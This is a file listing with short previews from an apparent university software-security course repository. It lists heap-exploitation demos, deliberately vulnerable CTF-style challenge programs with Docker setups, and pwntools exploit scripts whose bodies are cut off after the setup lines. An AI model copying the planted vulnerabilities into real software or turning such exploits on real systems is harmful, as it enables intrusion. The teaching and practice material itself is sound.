    "path": "2021/week2/demo/demo_heap_overflow.sh",
    "chars": 37,
    "preview": "#!/bin/bash\n\ngdb ./demo_heap_overflow"
  },
  {
    "path": "2021/week2/demo/demo_largebin.c",
    "chars": 368,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *avoid_consolidation[7];\n    void *chk[7];\n\n    for (int i"
  },
  {
    "path": "2021/week2/demo/demo_largebin.sh",
    "chars": 32,
    "preview": "#!/bin/bash\n\ngdb ./demo_largebin"
  },
  {
    "path": "2021/week2/demo/demo_malloc_state.c",
    "chars": 87,
    "preview": "#include <stdlib.h>\n#include <stdio.h>\n\nint main()\n{\n    malloc(0x100);\n    return 0;\n}"
  },
  {
    "path": "2021/week2/demo/demo_malloc_state.sh",
    "chars": 52,
    "preview": "#!/bin/bash\n\ngdb ./demo_malloc_state\n\n# p main_arena"
  },
  {
    "path": "2021/week2/demo/demo_overlapping_chunks.c",
    "chars": 364,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    unsigned long *A, *B;\n    unsigned total;\n\tA = malloc(0x410);\n\t"
  },
  {
    "path": "2021/week2/demo/demo_overlapping_chunks.sh",
    "chars": 42,
    "preview": "#!/bin/bash\n\ngdb ./demo_overlapping_chunks"
  },
  {
    "path": "2021/week2/demo/demo_smallbin.c",
    "chars": 280,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *avoid_consolidation;\n    void *unsorted_bin;\n\n    unsorte"
  },
  {
    "path": "2021/week2/demo/demo_smallbin.sh",
    "chars": 32,
    "preview": "#!/bin/bash\n\ngdb ./demo_smallbin"
  },
  {
    "path": "2021/week2/demo/demo_tcache.c",
    "chars": 342,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *a, *b, *c, *d;\n    void *dummy1, *dummy2;\n    \n    dummy1"
  },
  {
    "path": "2021/week2/demo/demo_tcache.sh",
    "chars": 114,
    "preview": "#!/bin/bash\n\ngdb ./demo_tcache\n\n# p *(tcache_entry*) 0x5555555593f0\n# p *(tcache_perthread_struct*) 0x555555559010"
  },
  {
    "path": "2021/week2/demo/demo_tcache_poisoning.c",
    "chars": 256,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    unsigned long *A;\n\n    A = malloc(0x10);\n    free(A);\n    *(A+1"
  },
  {
    "path": "2021/week2/demo/demo_tcache_poisoning.sh",
    "chars": 40,
    "preview": "#!/bin/bash\n\ngdb ./demo_tcache_poisoning"
  },
  {
    "path": "2021/week2/demo/demo_unsortedbin.c",
    "chars": 296,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n    void *avoid_consolidation[7];\n    void *chk[7];\n\n    for (int i"
  },
  {
    "path": "2021/week2/demo/demo_unsortedbin.sh",
    "chars": 35,
    "preview": "#!/bin/bash\n\ngdb ./demo_unsortedbin"
  },
  {
    "path": "2021/week2/hw/beeftalk/Dockerfile",
    "chars": 256,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week2/hw/beeftalk/docker-compose.yml",
    "chars": 200,
    "preview": "version: '3'\n\nservices:\n  beeftalk:\n    build: ./\n    volumes:\n      - ./share:/home/beeftalk:ro\n      - ./xinetd:/etc/x"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/Makefile",
    "chars": 35,
    "preview": "all:\n\tgcc -g -o beeftalk beeftalk.c"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/beeftalk.c",
    "chars": 7909,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <time.h>\n#include <fcntl.h>\n#inc"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/beeftalk.h",
    "chars": 1620,
    "preview": "#ifndef _BEEFTALK_H_\n#define _BEEFTALK_H_\n\nconst char *banner = \"\"\n\"  ____             __ _        _ _    \\n\"\n\" | __ )  "
  },
  {
    "path": "2021/week2/hw/beeftalk/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/run.sh",
    "chars": 62,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/beeftalk/beeftalk"
  },
  {
    "path": "2021/week2/hw/beeftalk/xinetd",
    "chars": 224,
    "preview": "service beeftalk\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/b"
  },
  {
    "path": "2021/week2/hw/easyheap/Dockerfile",
    "chars": 256,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week2/hw/easyheap/docker-compose.yml",
    "chars": 200,
    "preview": "version: '3'\n\nservices:\n  easyheap:\n    build: ./\n    volumes:\n      - ./share:/home/easyheap:ro\n      - ./xinetd:/etc/x"
  },
  {
    "path": "2021/week2/hw/easyheap/share/Makefile",
    "chars": 35,
    "preview": "all:\n\tgcc -g -o easyheap easyheap.c"
  },
  {
    "path": "2021/week2/hw/easyheap/share/easyheap.c",
    "chars": 3551,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#define MAX_BOOK_NUM 0x10\n\ntypedef struct _Book {\n    char *n"
  },
  {
    "path": "2021/week2/hw/easyheap/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week2/hw/easyheap/share/run.sh",
    "chars": 62,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/easyheap/easyheap"
  },
  {
    "path": "2021/week2/hw/easyheap/xinetd",
    "chars": 224,
    "preview": "service easyheap\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/e"
  },
  {
    "path": "2021/week2/hw/exp/beeftalk.py",
    "chars": 1908,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week2/hw/exp/easyheap.py",
    "chars": 1534,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/week2/hw/exp/final.py",
    "chars": 4110,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/week2/hw/final/Dockerfile",
    "chars": 247,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week2/hw/final/docker-compose.yml",
    "chars": 191,
    "preview": "version: '3'\n\nservices:\n  final:\n    build: ./\n    volumes:\n      - ./share:/home/final:ro\n      - ./xinetd:/etc/xinetd."
  },
  {
    "path": "2021/week2/hw/final/share/Makefile",
    "chars": 29,
    "preview": "all:\n\tgcc -g -o final final.c"
  },
  {
    "path": "2021/week2/hw/final/share/final.c",
    "chars": 3668,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n\n// ***************** we don't care *****"
  },
  {
    "path": "2021/week2/hw/final/share/final.py",
    "chars": 4110,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif"
  },
  {
    "path": "2021/week2/hw/final/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week2/hw/final/share/run.sh",
    "chars": 57,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/final/final\n"
  },
  {
    "path": "2021/week2/hw/final/xinetd",
    "chars": 215,
    "preview": "service final\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/fina"
  },
  {
    "path": "2021/week2/lab/exp/market.py",
    "chars": 425,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\nr = process('./market')\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'spli"
  },
  {
    "path": "2021/week2/lab/heapmath/Dockerfile",
    "chars": 256,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week2/lab/heapmath/docker-compose.yml",
    "chars": 200,
    "preview": "version: '3'\n\nservices:\n  heapmath:\n    build: ./\n    volumes:\n      - ./share:/home/heapmath:ro\n      - ./xinetd:/etc/x"
  },
  {
    "path": "2021/week2/lab/heapmath/share/Makefile",
    "chars": 35,
    "preview": "all:\n\tgcc -g -o heapmath heapmath.c"
  },
  {
    "path": "2021/week2/lab/heapmath/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week2/lab/heapmath/share/heapmath.c",
    "chars": 5991,
    "preview": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <time.h>\n\nint"
  },
  {
    "path": "2021/week2/lab/heapmath/share/run.sh",
    "chars": 65,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 1800 /home/heapmath/heapmath\n"
  },
  {
    "path": "2021/week2/lab/heapmath/xinetd",
    "chars": 224,
    "preview": "service heapmath\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/h"
  },
  {
    "path": "2021/week2/lab/market/Dockerfile",
    "chars": 250,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2021/week2/lab/market/docker-compose.yml",
    "chars": 194,
    "preview": "version: '3'\n\nservices:\n  market:\n    build: ./\n    volumes:\n      - ./share:/home/market:ro\n      - ./xinetd:/etc/xinet"
  },
  {
    "path": "2021/week2/lab/market/share/Makefile",
    "chars": 31,
    "preview": "all:\n\tgcc -g -o market market.c"
  },
  {
    "path": "2021/week2/lab/market/share/flag",
    "chars": 10,
    "preview": "FLAG{test}"
  },
  {
    "path": "2021/week2/lab/market/share/market.c",
    "chars": 2438,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\nssize_t safe_read(int"
  },
  {
    "path": "2021/week2/lab/market/share/run.sh",
    "chars": 58,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/market/market"
  },
  {
    "path": "2021/week2/lab/market/xinetd",
    "chars": 218,
    "preview": "service market\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/mar"
  },
  {
    "path": "2021/week2/src_review/free_internal.c",
    "chars": 10158,
    "preview": "// disable squiggles first\n#define USE_TCACHE 1\n\n// ANCHOR 1. __libc_free(): free 的進入點\nvoid\n__libc_free (void *mem)\n{\n  "
  },
  {
    "path": "2021/week2/src_review/malloc_internal.c",
    "chars": 15462,
    "preview": "// disable squiggles first\n#define USE_TCACHE 1\n\n// ANCHOR 1. __libc_malloc(): malloc 的進入點\nvoid *\n__libc_malloc (size_t "
  },
  {
    "path": "2021/week3/hw-exp/FILE_note.py",
    "chars": 1616,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('"
  },
  {
    "path": "2021/week3/lab-exp/OvO8.js",
    "chars": 2500,
    "preview": "buf = new ArrayBuffer(0x8);\nu64 = new BigUint64Array(buf);\nf64 = new Float64Array(buf);\nu32 = new Uint32Array(buf);\n\nfun"
  },
  {
    "path": "2022/README.md",
    "chars": 467,
    "preview": "## 2022 年\n\n2022 年的 Week 1 與 Week 2 教材皆相同,而 Week 3 課程大部分與 2021 年重疊。\n\n## Week 1: Binary Exploitation I\n- Hw\n  - how2know\n "
  },
  {
    "path": "2022/quals/exp/how2know_revenge_exp.py",
    "chars": 1049,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport string\nimport time\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'spl"
  },
  {
    "path": "2022/quals/exp/pbof_exp.py",
    "chars": 795,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nmmap_size = 0"
  },
  {
    "path": "2022/quals/exp/real_rop++_exp.py",
    "chars": 569,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n#r = process("
  },
  {
    "path": "2022/quals/exp/superums_exp.py",
    "chars": 1988,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n#r = process("
  },
  {
    "path": "2022/quals/how2know_revenge/Dockerfile",
    "chars": 244,
    "preview": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xine"
  },
  {
    "path": "2022/quals/how2know_revenge/docker-compose.yml",
    "chars": 160,
    "preview": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/"
  },
  {
    "path": "2022/quals/how2know_revenge/share/Makefile",
    "chars": 75,
    "preview": "all:\n\tgcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp"
  },
  {
    "path": "2022/quals/how2know_revenge/share/flag",
    "chars": 11,
    "preview": "FLAG{test}\n"
  },
  {
    "path": "2022/quals/how2know_revenge/share/how2know_revenge.c",
    "chars": 673,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <seccomp.h>\n#include <sys/mman.h>\n#include <stdlib.h>"
  },
  {
    "path": "2022/quals/how2know_revenge/share/run.sh",
    "chars": 54,
    "preview": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/quals/how2know_revenge/xinetd",
    "chars": 212,
    "preview": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/"
  }
]

// ... and 167 more files (download for full content)

About this extraction

This page contains the full source code of the u1f383/Software-Security-2021 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 367 files (237.8 KB), approximately 94.6k tokens, and a symbol index with 347 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!